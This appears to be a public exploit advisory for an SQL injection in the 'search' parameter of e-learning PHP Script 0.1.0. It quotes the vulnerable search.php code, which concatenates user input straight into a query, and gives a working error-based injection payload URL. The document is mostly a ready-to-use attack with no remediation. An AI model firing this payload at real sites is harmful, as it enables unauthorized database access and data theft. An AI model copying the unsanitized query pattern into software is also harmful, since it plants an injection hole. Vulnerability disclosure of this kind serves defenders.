e-learning PHP Script 0.1.0 SQL Injection

`# Exploit Title: e-learning Php Script 0.1.0 - 'search' SQL Injection  
# Date: 2020-06-29  
# Exploit Author: KeopssGroup0day,Inc  
# Vendor Homepage: https://github.com/amitkolloldey/elearning-script  
# Software Link: https://github.com/amitkolloldey/elearning-script  
# Version: 0.1.0  
# Tested on: Kali Linux  
  
Source code(search.php):  
<?php  
if(isset($_GET['search_submit'])){  
$search_key = $_GET['search'];  
$search = "select * from posts where post_keywords   
like '%$search_key%'";  
$run_search = mysqli_query($con,$search);  
$count = mysqli_num_rows($run_search);  
if($count == 0){  
echo "<h2>No Result Found.Please Try With Another   
Keywords.</h2>";  
}else{  
while($search_row =   
mysqli_fetch_array($run_search)):  
$post_id = $search_row ['post_id'];  
$post_title = $search_row ['post_title'];  
$post_date = $search_row ['post_date'];  
$post_author = $search_row ['post_author'];  
$post_featured_image = $search_row ['post_image'];  
$post_keywords = $search_row ['post_keywords'];  
$post_content = substr($search_row   
['post_content'],0,200);  
?>  
  
Payload:  
http://127.0.0.1/e/search.php?search=a&search_submit=Search  
http://127.0.0.1/e/search.php?search=a'OR (SELECT 3475   
FROM(SELECT COUNT(*),CONCAT(0x716b787171,(SELECT   
(ELT(3475=3475,1))),0x7171787871,FLOOR(RAND(0)*2))x FROM   
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IsDG&search_submit=Search  
`